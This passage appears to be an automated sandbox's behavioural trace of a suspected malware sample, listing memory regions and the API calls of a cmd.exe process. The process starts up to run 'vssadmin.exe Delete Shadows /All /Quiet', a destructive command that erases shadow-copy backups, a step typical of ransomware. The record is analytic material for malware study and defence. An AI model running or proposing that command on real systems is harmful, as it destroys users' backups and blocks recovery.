0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1481 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1482 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1483 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1484 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1485 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1486 start_va = 0x480000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 1487 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1488 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1489 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1490 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 1491 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 1507 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1508 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1509 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1510 start_va = 0x470000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1511 start_va = 0x650000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 1512 start_va = 0x73fb0000 end_va = 0x73fb6fff entry_point = 0x73fb1230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1513 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1514 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1515 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1516 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1517 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1518 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1519 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1520 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1521 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1522 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1523 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1524 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1525 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1526 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1527 start_va = 0x750000 end_va = 0x8d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 1528 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1529 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1530 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1531 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1532 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1533 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1534 start_va = 0x8e0000 end_va = 0xa60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 1535 start_va = 0xa70000 end_va = 0x1e6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 1536 start_va = 0x1e70000 end_va = 0x21b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 1538 start_va = 0x150000 end_va = 0x217fff entry_point = 0x150000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 1539 start_va = 0x150000 end_va = 0x217fff entry_point = 0x150000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 1540 start_va = 0x21c0000 end_va = 0x25b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021c0000" filename = "" Region: id = 1541 start_va = 0x25c0000 end_va = 0x288efff entry_point = 0x25c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 73 os_tid = 0xad8 [0066.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32fc04 | out: lpSystemTimeAsFileTime=0x32fc04*(dwLowDateTime=0xe2d8d280, dwHighDateTime=0x1d3468a)) [0066.613] GetCurrentProcessId () returned 0xad4 [0066.613] GetCurrentThreadId () returned 0xad8 [0066.613] GetTickCount () returned 0x18545 [0066.613] QueryPerformanceCounter (in: lpPerformanceCount=0x32fbfc | out: lpPerformanceCount=0x32fbfc*=379398097) returned 1 [0066.615] GetModuleHandleA (lpModuleName=0x0) returned 0x4a0f0000 [0066.615] __set_app_type (_Type=0x1) [0066.615] __p__fmode () returned 0x756431f4 [0066.615] __p__commode () returned 0x756431fc [0066.615] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1121a6) returned 0x0 [0066.615] __getmainargs (in: _Argc=0x4a114238, _Argv=0x4a114240, _Env=0x4a11423c, _DoWildCard=0, _StartInfo=0x4a114140 | out: _Argc=0x4a114238, _Argv=0x4a114240, _Env=0x4a11423c) returned 0 [0066.615] GetCurrentThreadId () returned 0xad8 [0066.615] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xad8) returned 0x60 [0066.615] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76520000 [0066.615] GetProcAddress (hModule=0x76520000, lpProcName="SetThreadUILanguage") returned 0x7654a84f [0066.615] SetThreadUILanguage (LangId=0x0) returned 0x409 [0066.615] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.615] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32fb94 | out: phkResult=0x32fb94*=0x0) returned 0x2 [0066.616] VirtualQuery (in: lpAddress=0x32fbcb, lpBuffer=0x32fb64, dwLength=0x1c | out: lpBuffer=0x32fb64*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.616] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32fb64, dwLength=0x1c | out: lpBuffer=0x32fb64*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0066.616] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32fb64, dwLength=0x1c | out: lpBuffer=0x32fb64*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0066.616] VirtualQuery (in: lpAddress=0x233000, lpBuffer=0x32fb64, dwLength=0x1c | out: lpBuffer=0x32fb64*(BaseAddress=0x233000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.616] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32fb64, dwLength=0x1c | out: lpBuffer=0x32fb64*(BaseAddress=0x330000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x140000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0066.616] GetConsoleOutputCP () returned 0x1b5 [0066.616] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0066.616] SetConsoleCtrlHandler (HandlerRoutine=0x4a10e72a, Add=1) returned 1 [0066.616] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.616] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0066.616] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.616] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 1 [0066.616] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.616] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0066.617] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.617] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0066.617] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.617] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0066.617] GetEnvironmentStringsW () returned 0x662258* [0066.617] FreeEnvironmentStringsW (penv=0x662258) returned 1 [0066.617] GetEnvironmentStringsW () returned 0x662258* [0066.617] FreeEnvironmentStringsW (penv=0x662258) returned 1 [0066.617] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32eb04 | out: phkResult=0x32eb04*=0x68) returned 0x0 [0066.617] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x0, lpData=0x32eb10*=0x0, lpcbData=0x32eb08*=0x1000) returned 0x2 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x4, lpData=0x32eb10*=0x1, lpcbData=0x32eb08*=0x4) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x0, lpData=0x32eb10*=0x1, lpcbData=0x32eb08*=0x1000) returned 0x2 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x4, lpData=0x32eb10*=0x0, lpcbData=0x32eb08*=0x4) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x4, lpData=0x32eb10*=0x40, lpcbData=0x32eb08*=0x4) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x4, lpData=0x32eb10*=0x40, lpcbData=0x32eb08*=0x4) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x0, lpData=0x32eb10*=0x40, lpcbData=0x32eb08*=0x1000) returned 0x2 [0066.618] RegCloseKey (hKey=0x68) returned 0x0 [0066.618] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32eb04 | out: phkResult=0x32eb04*=0x68) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x0, lpData=0x32eb10*=0x40, lpcbData=0x32eb08*=0x1000) returned 0x2 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x4, lpData=0x32eb10*=0x1, lpcbData=0x32eb08*=0x4) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x0, lpData=0x32eb10*=0x1, lpcbData=0x32eb08*=0x1000) returned 0x2 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x4, lpData=0x32eb10*=0x0, lpcbData=0x32eb08*=0x4) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x4, lpData=0x32eb10*=0x9, lpcbData=0x32eb08*=0x4) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x4, lpData=0x32eb10*=0x9, lpcbData=0x32eb08*=0x4) returned 0x0 [0066.618] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32eb0c, lpData=0x32eb10, lpcbData=0x32eb08*=0x1000 | out: lpType=0x32eb0c*=0x0, lpData=0x32eb10*=0x9, lpcbData=0x32eb08*=0x1000) returned 0x2 [0066.618] RegCloseKey (hKey=0x68) returned 0x0 [0066.618] time (in: timer=0x0 | out: timer=0x0) returned 0x59e4c1cc [0066.618] srand (_Seed=0x59e4c1cc) [0066.618] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" vssadmin.exe Delete Shadows /All /Quiet" [0066.618] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" vssadmin.exe Delete Shadows /All /Quiet" [0066.618] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a115260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0066.619] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6645e8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0066.619] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.619] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.619] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.619] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0066.619] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a120640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0066.619] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0066.619] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0066.619] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0066.619] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0066.619] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0066.619] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0066.619] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0066.619] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0066.619] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f8d0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0066.619] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x104, lpBuffer=0x32f8d0, lpFilePart=0x32f8cc | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x32f8cc*="Desktop") returned 0x19 [0066.619] GetFileAttributesW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 0x11 [0066.619] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f64c | out: lpFindFileData=0x32f64c) returned 0x6647f8 [0066.619] FindClose (in: hFindFile=0x6647f8 | out: hFindFile=0x6647f8) returned 1 [0066.619] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW", lpFindFileData=0x32f64c | out: lpFindFileData=0x32f64c) returned 0x662a58 [0066.620] FindClose (in: hFindFile=0x662a58 | out: hFindFile=0x662a58) returned 1 [0066.620] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", lpFindFileData=0x32f64c | out: lpFindFileData=0x32f64c) returned 0x662a58 [0066.620] FindClose (in: hFindFile=0x662a58 | out: hFindFile=0x662a58) returned 1 [0066.620] GetFileAttributesW (lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 0x11 [0066.620] SetCurrentDirectoryW (lpPathName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop")) returned 1 [0066.620] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\kFT6uTQW\\Desktop") returned 1 [0066.620] GetEnvironmentStringsW () returned 0x662a58* [0066.620] FreeEnvironmentStringsW (penv=0x662a58) returned 1 [0066.620] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a115260 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0066.624] GetConsoleOutputCP () returned 0x1b5 [0066.625] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0066.625] GetUserDefaultLCID () returned 0x409 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a114950, cchData=8 | out: lpLCData=":") returned 2 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32fa10, cchData=128 | out: lpLCData="0") returned 2 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32fa10, cchData=128 | out: lpLCData="0") returned 2 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32fa10, cchData=128 | out: lpLCData="1") returned 2 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a114940, cchData=8 | out: lpLCData="/") returned 2 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a114d80, cchData=32 | out: lpLCData="Mon") returned 4 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a114d40, cchData=32 | out: lpLCData="Tue") returned 4 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a114d00, cchData=32 | out: lpLCData="Wed") returned 4 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a114cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a114c80, cchData=32 | out: lpLCData="Fri") returned 4 [0066.625] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a114c40, cchData=32 | out: lpLCData="Sat") returned 4 [0066.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a114c00, cchData=32 | out: lpLCData="Sun") returned 4 [0066.626] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a114930, cchData=8 | out: lpLCData=".") returned 2 [0066.626] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a114920, cchData=8 | out: lpLCData=",") returned 2 [0066.626] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0066.626] GetConsoleTitleW (in: lpConsoleTitle=0x662a58, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0066.627] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.627] GetFileType (hFile=0x7) returned 0x2 [0066.627] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.627] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fb0c | out: lpMode=0x32fb0c) returned 1 [0066.627] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.627] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x32fb28 | out: lpConsoleScreenBufferInfo=0x32fb28) returned 1 [0066.627] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.627] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x32faf4 | out: lpConsoleScreenBufferInfo=0x32faf4) returned 1 [0066.627] FillConsoleOutputAttribute (in: hConsoleOutput=0x7, wAttribute=0x7, nLength=0x5dc0, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x32fb0c | out: lpNumberOfAttrsWritten=0x32fb0c) returned 1 [0066.628] SetConsoleTextAttribute (hConsoleOutput=0x7, wAttributes=0x7) returned 1 [0066.628] BrandingFormatString () returned 0x662c90 [0066.651] GetVersion () returned 0x1db10106 [0066.651] _vsnwprintf (in: _Buffer=0x32fb44, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x32fb00 | out: _Buffer="6.1.7601") returned 8 [0066.657] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.657] GetFileType (hFile=0x7) returned 0x2 [0066.657] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.657] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fa90 | out: lpMode=0x32fa90) returned 1 [0066.657] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.657] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x32fac4 | out: lpConsoleScreenBufferInfo=0x32fac4) returned 1 [0066.657] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a124640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0066.658] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a124640, nSize=0x2000, Arguments=0x32fb04 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0066.658] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a124640*, nNumberOfCharsToWrite=0x24, lpNumberOfCharsWritten=0x32fae8, lpReserved=0x0 | out: lpBuffer=0x4a124640*, lpNumberOfCharsWritten=0x32fae8*=0x24) returned 1 [0066.658] _vsnwprintf (in: _Buffer=0x4a124640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32fb10 | out: _Buffer="\r\n") returned 2 [0066.658] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.658] GetFileType (hFile=0x7) returned 0x2 [0066.658] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.658] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fad0 | out: lpMode=0x32fad0) returned 1 [0066.658] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.659] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a124640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x32fafc, lpReserved=0x0 | out: lpBuffer=0x4a124640*, lpNumberOfCharsWritten=0x32fafc*=0x2) returned 1 [0066.659] _vsnwprintf (in: _Buffer=0x4a124640, _BufferCount=0x1fff, _Format="%s", _ArgList=0x32fb18 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0066.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.659] GetFileType (hFile=0x7) returned 0x2 [0066.659] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0066.659] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fad8 | out: lpMode=0x32fad8) returned 1 [0066.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.659] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a124640*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x32fb04, lpReserved=0x0 | out: lpBuffer=0x4a124640*, lpNumberOfCharsWritten=0x32fb04*=0x3f) returned 1 [0066.659] _vsnwprintf (in: _Buffer=0x4a124640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32fb14 | out: _Buffer="\r\n") returned 2 [0066.659] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.659] GetFileType (hFile=0x7) returned 0x2 [0066.659] GetStdHandle 